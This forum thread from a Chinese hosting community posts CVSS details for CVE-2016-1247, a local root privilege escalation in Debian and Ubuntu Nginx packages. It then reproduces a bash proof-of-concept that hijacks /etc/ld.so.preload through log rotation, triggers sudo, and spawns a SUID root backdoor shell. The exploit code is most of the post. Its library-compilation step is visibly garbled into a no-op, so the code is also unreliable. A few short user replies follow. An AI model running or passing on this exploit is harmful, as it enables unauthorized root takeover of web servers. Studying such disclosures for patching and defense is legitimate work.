全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

IP归属甄别会员请立即修改密码
查看: 1240|回复: 6
打印 上一主题 下一主题

CVE-2016-1247:Debian、ubuntu发行版的Nginx本地提权漏洞

[复制链接]
跳转到指定楼层
1#
发表于 2016-12-5 10:48:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 opelnic 于 2016-12-5 10:53 编辑

CVE-2016-1247:Debian、ubuntu发行版的Nginx本地提权漏洞


  1. CVSS分值:         7.2         [严重(HIGH)]
  2. 机密性影响:         COMPLETE         [完全的信息泄露导致所有系统文件暴露]
  3. 完整性影响:         COMPLETE         [系统完整性可被完全破坏]
  4. 可用性影响:         COMPLETE         [可能导致系统完全宕机]
  5. 攻击复杂度:         LOW         [漏洞利用没有访问限制 ]
  6. 攻击向量:         LOCAL         [漏洞利用需要具有物理访问权限或本地帐户]
  7. 身份认证:         NONE         [漏洞利用无需身份认证]


  8. 来源 http://cve.scap.org.cn/CVE-2016-1247.html
复制代码




POC

  1. #!/bin/bash
  2. #
  3. # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
  4. # nginxed-root.sh (ver. 1.0)
  5. #
  6. # CVE-2016-1247
  7. #
  8. # Discovered and coded by:
  9. #
  10. # Dawid Golunski
  11. # dawid[at]legalhackers.com
  12. #
  13. # https://legalhackers.com
  14. #
  15. # Follow https://推特.com/dawid_golunski for updates on this advisory.
  16. #
  17. # ---
  18. # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
  19. # etc.) to escalate their privileges from nginx web server user (www-data) to root
  20. # through unsafe error log handling.
  21. #
  22. # The exploit waits for Nginx server to be restarted or receive a USR1 signal.
  23. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
  24. # script which is called daily by the cron.daily on default installations.
  25. # The restart should take place at 6:25am which is when cron.daily executes.
  26. # Attackers can therefore get a root shell automatically in 24h at most without any admin
  27. # interaction just by letting the exploit run till 6:25am assuming that daily logrotation
  28. # has been configured.
  29. #
  30. #
  31. # Exploit usage:
  32. # ./nginxed-root.sh path_to_nginx_error.log
  33. #
  34. # To trigger logrotation for testing the exploit, you can run the following command:
  35. #
  36. # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
  37. #
  38. # See the full advisory for details at:
  39. # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
  40. #
  41. # Video PoC:
  42. # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
  43. #
  44. #
  45. # Disclaimer:
  46. # For testing purposes only. Do no harm.
  47. #
  48. BACKDOORSH="/bin/bash"
  49. BACKDOORPATH="/tmp/nginxrootsh"
  50. PRIVESCLIB="/tmp/privesclib.so"
  51. PRIVESCSRC="/tmp/privesclib.c"
  52. SUIDBIN="/usr/bin/sudo"
  53. function cleanexit {
  54. # Cleanup
  55. echo -e "\n[+] Cleaning up..."
  56. rm -f $PRIVESCSRC
  57. rm -f $PRIVESCLIB
  58. rm -f $ERRORLOG
  59. touch $ERRORLOG
  60. if [ -f /etc/ld.so.preload ]; then
  61. echo -n > /etc/ld.so.preload
  62. fi
  63. echo -e "\n[+] Job done. Exiting with code $1 \n"
  64. exit $1
  65. }
  66. function ctrl_c() {
  67.         echo -e "\n[+] Ctrl+C pressed"
  68. cleanexit 0
  69. }
  70. #intro
  71. cat <<_eascii_
  72. _______________________________
  73. < Is your server (N)jinxed ? ;o > -------------------------------
  74.            \
  75.             \          __---__
  76.                     _-       /--______
  77.                __--( /     \ )XXXXXXXXXXX\v.  
  78.              .-XXX(   O   O  )XXXXXXXXXXXXXXX-
  79.             /XXX(       U     )        XXXXXXX\
  80.           /XXXXX(              )--_  XXXXXXXXXXX\
  81.          /XXXXX/ (      O     )   XXXXXX   \XXXXX\
  82.          XXXXX/   /            XXXXXX   \__ \XXXXX
  83.          XXXXXX__/          XXXXXX         \__---->
  84. ---___  XXX__/          XXXXXX      \__         /
  85.    \-  --__/   ___/\  XXXXXX            /  ___--/=
  86.     \-\    ___/    XXXXXX              '--- XXXXXX
  87.        \-\/XXX\ XXXXXX                      /XXXXX
  88.          \XXXXXXXXX   \                    /XXXXX/
  89.           \XXXXXX      >                 _/XXXXX/
  90.             \XXXXX--__/              __-- XXXX/
  91.              -XXXXXXXX---------------  XXXXXX-
  92.                 \XXXXXXXXXXXXXXXXXXXXXXXXXX/
  93.                   ""VXXXXXXXXXXXXXXXXXXV""
  94. _eascii_
  95. echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
  96. echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
  97. # Args
  98. if [ $# -lt 1 ]; then
  99. echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
  100. echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
  101. exit 3
  102. fi
  103. # Priv check
  104. echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
  105. id | grep -q www-data
  106. if [ $? -ne 0 ]; then
  107. echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
  108. exit 3
  109. fi
  110. # Set target paths
  111. ERRORLOG="$1"
  112. if [ ! -f $ERRORLOG ]; then
  113. echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
  114. exit 3
  115. fi
  116. # [ Exploitation ]
  117. trap ctrl_c INT
  118. # Compile privesc preload library
  119. echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
  120. cat /dev/null 2>/dev/null
  121. # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
  122. # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
  123. echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
  124. while :; do
  125. sleep 1
  126. if [ -f /etc/ld.so.preload ]; then
  127. echo $PRIVESCLIB > /etc/ld.so.preload
  128. rm -f $ERRORLOG
  129. break;
  130. fi
  131. done
  132. # /etc/ld.so.preload should be owned by www-data user at this point
  133. # Inject the privesc.so shared library to escalate privileges
  134. echo $PRIVESCLIB > /etc/ld.so.preload
  135. echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
  136. echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
  137. echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
  138. chmod 755 /etc/ld.so.preload
  139. # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
  140. echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
  141. sudo 2>/dev/null >/dev/null
  142. # Check for the rootshell
  143. ls -l $BACKDOORPATH
  144. ls -l $BACKDOORPATH | grep rws | grep -q root
  145. if [ $? -eq 0 ]; then
  146. echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  147. echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
  148. else
  149. echo -e "\n[!] Failed to get root"
  150. cleanexit 2
  151. fi
  152. rm -f $ERRORLOG
  153. echo > $ERRORLOG
  154.   
  155. # Use the rootshell to perform cleanup that requires root privilges
  156. $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
  157. # Reset the logging to error.log
  158. $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
  159. # Execute the rootshell
  160. echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
  161. $BACKDOORPATH -p -i
  162. # Job done.
  163. cleanexit 0
复制代码
2#
发表于 2016-12-5 11:02:41 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
3#
发表于 2016-12-5 11:04:52 | 只看该作者
已阅 不用客气
4#
发表于 2016-12-5 11:06:24 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
5#
发表于 2016-12-5 13:00:53 | 只看该作者
只会用落后的CENTOS
6#
发表于 2016-12-5 13:30:11 | 只看该作者
表示一向用nginx官方的源安装nginx包 而不是发行版的源。。无压力

另外本地提权其实。。影响力有限吧
7#
发表于 2016-12-5 14:47:30 | 只看该作者
Centos路过
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2026-1-15 05:02 , Processed in 0.059439 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表